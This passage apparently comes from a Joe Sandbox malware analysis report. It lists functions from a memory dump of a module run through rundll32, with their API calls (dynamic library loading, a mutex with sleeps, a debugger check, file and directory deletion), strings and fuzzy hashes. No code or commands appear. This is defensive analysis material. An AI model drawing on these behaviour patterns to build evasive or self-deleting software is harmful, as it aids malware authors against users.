RtlVirtualUnwind.KERNEL32 ref: 00007FFE1150ED9C
IsDebuggerPresent.KERNEL32 ref: 00007FFE1150EDD5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FFE1150EDDF
UnhandledExceptionFilter.KERNEL32 ref: 00007FFE1150EDEA

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 96d1b2251808390a899ca332325b000b59ea61d1b8f112abec86d48cf742ac05
Instruction ID: dd351527d510806296985be7e505bc077d05956019e0c7c58cd6712a7226818b
Opcode Fuzzy Hash: 96d1b2251808390a899ca332325b000b59ea61d1b8f112abec86d48cf742ac05
Instruction Fuzzy Hash: 91315F36618F8186EB61CF66E8442AE73A8FB84764F540179EA9D43BB4EF3CC545CB00

Function 00007FFE11511404 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE11511434

Part of subcall function 00007FFE1150EEFC: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FFE1150EEDA), ref: 00007FFE1150EF05
Part of subcall function 00007FFE1150EEFC: GetCurrentProcess.KERNEL32(?,?,?,?,00007FFE1150EEDA), ref: 00007FFE1150EF29

Strings

., xrefs: 00007FFE11511854
*?, xrefs: 00007FFE1151145B

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor_invalid_parameter_noinfo
String ID: *?$.
API String ID: 4036615347-3972193922
Opcode ID: eba59fe5f0c93d1134c9cc44fef27bef4db73f0af7df213452137592245963f0
Instruction ID: cf0ee9f23ab558ef7455463922a729bc26fc2f30fb62863ce89ba980e0ff3713
Opcode Fuzzy Hash: eba59fe5f0c93d1134c9cc44fef27bef4db73f0af7df213452137592245963f0
Instruction Fuzzy Hash: 24510222B14E9585EF12CFB398404BC73AAFB48BE8B454575DE1E17BA5EE3CD0428300

Function 00007FFE11513670 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FFE115136FB

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 7c95d79a6932f591ae303023ad9bcf5e3cdb31da0663f78c422ae26a9081d948
Instruction ID: f282726e652966331a041c7bc3a4db22bf4aa52d0673ab6b8ef2981d8fbe3d09
Opcode Fuzzy Hash: 7c95d79a6932f591ae303023ad9bcf5e3cdb31da0663f78c422ae26a9081d948
Instruction Fuzzy Hash: F7D11732B1CA8687DB75CF16E19466AB7A6F7887A4F048134CB4E53B65DB3CE841CB00

Function 00007FFE11511610 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

., xrefs: 00007FFE11511854

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 690e74d9563e45a385418573fd4113d3bcedef93829ea6a1ba73e3ce572bc25b
Instruction ID: 52f4f84719267b4443a0237a69dbf5c78896e787aaa9880f17867a0481f531fb
Opcode Fuzzy Hash: 690e74d9563e45a385418573fd4113d3bcedef93829ea6a1ba73e3ce572bc25b
Instruction Fuzzy Hash: C1310922B14E9145FB219A33E8447A97A96AB85BF4F188775DE6C07BF5DE3CD5018300

Function 00007FFE11518038 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FFE11518285
RaiseException.KERNEL32 ref: 00007FFE11518296

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 94c2968fe9688432277f6621fdc766de3035e6626ea0afa950c38092a09ec5a0
Instruction ID: 8b8be4b047476fbaf27b86488a862edc934dfc5e98bb6822c47736a9947ce570
Opcode Fuzzy Hash: 94c2968fe9688432277f6621fdc766de3035e6626ea0afa950c38092a09ec5a0
Instruction Fuzzy Hash: 74B15B77600F898BEB26CF2AC8463687BA5F744B98F188961DA6D837B4CB3DD451C700

Function 00007FFE1150C0EC Relevance: 1.5, Strings: 1, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 00007FFE1150C2A3

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0
API String ID: 3215553584-4108050209
Opcode ID: 4ff7d4c7d393e257493e51469c247c4ef46c7115a0845f9b5667b104312fce9a
Instruction ID: db7cfdaed86d33e9f882269956960432e5f508e8c15ccfd88e74b7f42484409d
Opcode Fuzzy Hash: 4ff7d4c7d393e257493e51469c247c4ef46c7115a0845f9b5667b104312fce9a
Instruction Fuzzy Hash: 67812622A18F0342EB688AE7804067D2398EF43B64F5415FEDD4E97AB5CF2DE946D740

Function 00007FFE1150DF94 Relevance: 1.4, Strings: 1, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

Strings

@, xrefs: 00007FFE1150DFD0

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 97c779eb9e8cda604945b158143a5e17b1ebf053f90b93598c274ff6021d9a15
Instruction ID: 999046cb380076e96b3a5e44c7371b2e5817b67ca4f1a39dbb858c2b6eccfeea
Opcode Fuzzy Hash: 97c779eb9e8cda604945b158143a5e17b1ebf053f90b93598c274ff6021d9a15
Instruction Fuzzy Hash: A241C072714E5486EB08CF6AD9242A973A6F788FE0B59A036DE0D87774EE3CD046C300

Function 00007FFE11517C10 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a7933b61f368365aa16494b3c6ceea95da0c303d67b3bf46b553378c5ff89ad
Instruction ID: e7265b4d9134935b7ad023d598bab983dc97038752d56024db650367a2c1557f
Opcode Fuzzy Hash: 2a7933b61f368365aa16494b3c6ceea95da0c303d67b3bf46b553378c5ff89ad
Instruction Fuzzy Hash: E3F0A472A28A918ADB98CF69A442A293795F758390B408079D59883E24C73C80608F04

Function 00007FFE11506300 Relevance: 39.1, APIs: 26, Instructions: 139fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FFE1150641F
wcscat.LIBCMT ref: 00007FFE11506431
wcscat.LIBCMT ref: 00007FFE11506443
wcscpy.LIBCMT ref: 00007FFE11506455
wcscat.LIBCMT ref: 00007FFE11506467
wcscat.LIBCMT ref: 00007FFE11506479
ExpandEnvironmentStringsW.KERNEL32 ref: 00007FFE11506494
ExpandEnvironmentStringsW.KERNEL32 ref: 00007FFE115064B0
wcscpy.LIBCMT ref: 00007FFE115064C3
wcscat.LIBCMT ref: 00007FFE115064D2
wcscat.LIBCMT ref: 00007FFE115064E1
wcscpy.LIBCMT ref: 00007FFE115064F6
wcscat.LIBCMT ref: 00007FFE11506508
wcscat.LIBCMT ref: 00007FFE1150651A
DeleteFileW.KERNEL32 ref: 00007FFE11506524
DeleteFileW.KERNEL32 ref: 00007FFE11506532
wcscpy.LIBCMT ref: 00007FFE11506545
wcscat.LIBCMT ref: 00007FFE11506554
wcscat.LIBCMT ref: 00007FFE11506563
wcscpy.LIBCMT ref: 00007FFE11506578
wcscat.LIBCMT ref: 00007FFE1150658A
wcscat.LIBCMT ref: 00007FFE1150659C
DeleteFileW.KERNEL32 ref: 00007FFE115065A6
DeleteFileW.KERNEL32 ref: 00007FFE115065B4
RemoveDirectoryW.KERNEL32 ref: 00007FFE115065C2
RemoveDirectoryW.KERNEL32 ref: 00007FFE115065D0

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: wcscat$wcscpy$DeleteFile$DirectoryEnvironmentExpandRemoveStrings
String ID:
API String ID: 2221106753-0
Opcode ID: e4d83268c653e65681527fc978cd474a44451df63d8d25433c1058a36e54ff64
Instruction ID: 7069be29a495b9c4d11c911955dc9908b0f8a7f38bf199982dcd3ea5ac098c9c
Opcode Fuzzy Hash: e4d83268c653e65681527fc978cd474a44451df63d8d25433c1058a36e54ff64
Instruction Fuzzy Hash: 4281F23261CE8685EB20EB62E4913BEB325FBD5754F801076E68D469B9DF3CD909CB40

Function 00007FFE115063BC Relevance: 39.1, APIs: 26, Instructions: 97fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FFE1150641F
wcscat.LIBCMT ref: 00007FFE11506431
wcscat.LIBCMT ref: 00007FFE11506443
wcscpy.LIBCMT ref: 00007FFE11506455
wcscat.LIBCMT ref: 00007FFE11506467
wcscat.LIBCMT ref: 00007FFE11506479
ExpandEnvironmentStringsW.KERNEL32 ref: 00007FFE11506494
ExpandEnvironmentStringsW.KERNEL32 ref: 00007FFE115064B0
wcscpy.LIBCMT ref: 00007FFE115064C3
wcscat.LIBCMT ref: 00007FFE115064D2
wcscat.LIBCMT ref: 00007FFE115064E1
wcscpy.LIBCMT ref: 00007FFE115064F6
wcscat.LIBCMT ref: 00007FFE11506508
wcscat.LIBCMT ref: 00007FFE1150651A
DeleteFileW.KERNEL32 ref: 00007FFE11506524
DeleteFileW.KERNEL32 ref: 00007FFE11506532
wcscpy.LIBCMT ref: 00007FFE11506545
wcscat.LIBCMT ref: 00007FFE11506554
wcscat.LIBCMT ref: 00007FFE11506563
wcscpy.LIBCMT ref: 00007FFE11506578
wcscat.LIBCMT ref: 00007FFE1150658A
wcscat.LIBCMT ref: 00007FFE1150659C
DeleteFileW.KERNEL32 ref: 00007FFE115065A6
DeleteFileW.KERNEL32 ref: 00007FFE115065B4
RemoveDirectoryW.KERNEL32 ref: 00007FFE115065C2
RemoveDirectoryW.KERNEL32 ref: 00007FFE115065D0

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: wcscat$wcscpy$DeleteFile$DirectoryEnvironmentExpandRemoveStrings
String ID:
API String ID: 2221106753-0
Opcode ID: 3f08b2f3857772e7bd4f137949d595b3f2607b7651ef9369e1e742ba60cebf5d
Instruction ID: 302b3a8bb670bc8e18199c52201b7edbefd2b4d99bced4d2b90c42442b7bbdb1
Opcode Fuzzy Hash: 3f08b2f3857772e7bd4f137949d595b3f2607b7651ef9369e1e742ba60cebf5d
Instruction Fuzzy Hash: 7A514E6261CE8695DF30EB16E4901EEA325FBC1754F801076E68E439B9DE2CD90DCB40

Function 00007FFE11504270 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 174libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 00007FFE1150436F
GetProcAddress.KERNEL32 ref: 00007FFE115043AA
GetProcAddress.KERNEL32 ref: 00007FFE115043E8
LoadLibraryW.KERNEL32 ref: 00007FFE1150441E
GetProcAddress.KERNEL32 ref: 00007FFE1150445F
wcscat.LIBCMT ref: 00007FFE115044E5
wcscat.LIBCMT ref: 00007FFE1150452D
wcscat.LIBCMT ref: 00007FFE1150455C
GetModuleFileNameW.KERNEL32 ref: 00007FFE11504581
swprintf.LIBCMTD ref: 00007FFE1150460C

Part of subcall function 00007FFE11501CC0: _vswprintf_s_l.LIBCONCRTD ref: 00007FFE11501CFE

Strings

"%ls",%ls %ls, xrefs: 00007FFE115045F8

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProcwcscat$LibraryLoad$FileModuleName_vswprintf_s_lswprintf
String ID: "%ls",%ls %ls
API String ID: 1950665352-3684409233
Opcode ID: 7ac86cf73ec6f21287da482e3f960a38ae5f8bf6a852bf3f3cc1b7f49ea5b46a
Instruction ID: 93424860df9af8b5c30b0c5083887fa5b65d9c212f057991072f10763ff106d2
Opcode Fuzzy Hash: 7ac86cf73ec6f21287da482e3f960a38ae5f8bf6a852bf3f3cc1b7f49ea5b46a
Instruction Fuzzy Hash: 53B1D43291DE8185E760DB62E4943AEB3A8FBC4764F500179E6CD46AB9DF7CD848CB40

Function 00007FFE1151047C Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE115105F9

Strings

nan, xrefs: 00007FFE115104E4
INF, xrefs: 00007FFE115104EF
NAN(IND), xrefs: 00007FFE11510527
nan(ind), xrefs: 00007FFE11510532
NAN, xrefs: 00007FFE115104DD
NAN(SNAN), xrefs: 00007FFE11510511
nan(snan), xrefs: 00007FFE1151051C
inf, xrefs: 00007FFE11510502

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: d61291fe73c288b30c6e1b7a2f036aee91b398c5310b8ac284d514a42b418a66
Instruction ID: 1c11f071706ae4aca7ecbc77af1ea672605f786ee72447c4184551af0f7be422
Opcode Fuzzy Hash: d61291fe73c288b30c6e1b7a2f036aee91b398c5310b8ac284d514a42b418a66
Instruction Fuzzy Hash: 20418932B09F8589F706CB66E8517AD33A9EB043A8F50457AEE5C07BA5EE3CD425C344

Function 00007FFE11504DC0 Relevance: 15.1, APIs: 10, Instructions: 107sleepsynchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32 ref: 00007FFE11504E3F
Sleep.KERNEL32 ref: 00007FFE11504E57
CloseHandle.KERNEL32 ref: 00007FFE11504E62
Sleep.KERNEL32 ref: 00007FFE11504E7C
wcscpy.LIBCMT ref: 00007FFE11504F05
wcscat.LIBCMT ref: 00007FFE11504F14
wcscat.LIBCMT ref: 00007FFE11504F23
wcscpy.LIBCMT ref: 00007FFE11504F6A
wcscat.LIBCMT ref: 00007FFE11504F79
wcscat.LIBCMT ref: 00007FFE11504F88

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: wcscat$Sleepwcscpy$CloseCreateHandleMutex
String ID:
API String ID: 859675624-0
Opcode ID: 813a8c226c73e745290e7a532b8a80e84a097e3f285a833d78f3018bb7183fde
Instruction ID: c988ebc1a0fb5f507bf5b898f4d29bc48a487d9180f1623f9a67c055d64636ef
Opcode Fuzzy Hash: 813a8c226c73e745290e7a532b8a80e84a097e3f285a833d78f3018bb7183fde
Instruction Fuzzy Hash: D7513F32518E8186EB10DB62E4943AFB7A4FBC47A4F40017AE68D47AB9DF3CD945CB40

Function 00007FFE11508F40 Relevance: 12.1, APIs: 8, Instructions: 145libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE11508FB7
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE11508FF5
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE11509033
LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE1150906A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE115090A8
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE115090E6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE11509124
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE115087EC), ref: 00007FFE11509162

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: a17128498188afb4e7faefc0956fe52f2ccca10067907e4c810cdd07455c527e
Instruction ID: 57e651ab465eb849ec8e515b3be241b2d1d5ae6f7f5664ef57f4dfa377268bb4
Opcode Fuzzy Hash: a17128498188afb4e7faefc0956fe52f2ccca10067907e4c810cdd07455c527e
Instruction Fuzzy Hash: 5C919732919E86C5EB509BA2F85436A73B8FB84760F5000B9E98D83A75DF7CE484CB51

Function 00007FFE11508CF0 Relevance: 12.1, APIs: 8, Instructions: 102libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508D6A
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508DA8
LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508DDF
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508E1D
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508E5B
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508E99
LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508ED0
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FFE11508AB6), ref: 00007FFE11508F0E

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509927061.00007FFE11524000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510002189.00007FFE11526000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3510084649.00007FFE11528000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffe11500000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: fce1d11985e05978db1864bd94c0c65cdcffbee78ce75ed191d8cbf05e198f64
Instruction ID: 9b75cf03af4b7267fbc72ab0355520e55358c1244edf914040ebfe95a905fb6c
Opcode Fuzzy Hash: fce1d11985e05978db1864bd94c0c65cdcffbee78ce75ed191d8cbf05e198f64
Instruction Fuzzy Hash: D861B532D19E46C5EB50DBA2E89437A63B8FB84770F5001B9E98D826B5DF7CE8848711

Function 00007FFE1150E5FC Relevance: 9.2, APIs: 3, Strings: 2, Instructions: 488COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFE1150E634
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE1150E959
_invalid_parameter_noinfo.LIBCMT ref: 00007FFE1150EBDE

Strings

+, xrefs: 00007FFE1150E6B6
-, xrefs: 00007FFE1150E6AB

Memory Dump Source

Source File: 00000008.00000002.3509690889.00007FFE11501000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFE11500000, based on PE: true

Associated: 00000008.00000002.3509603791.00007FFE11500000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000008.00000002.3509806801.00007FFE11519000.00000002.00000001.01000000.00000005.sdmpDownload File
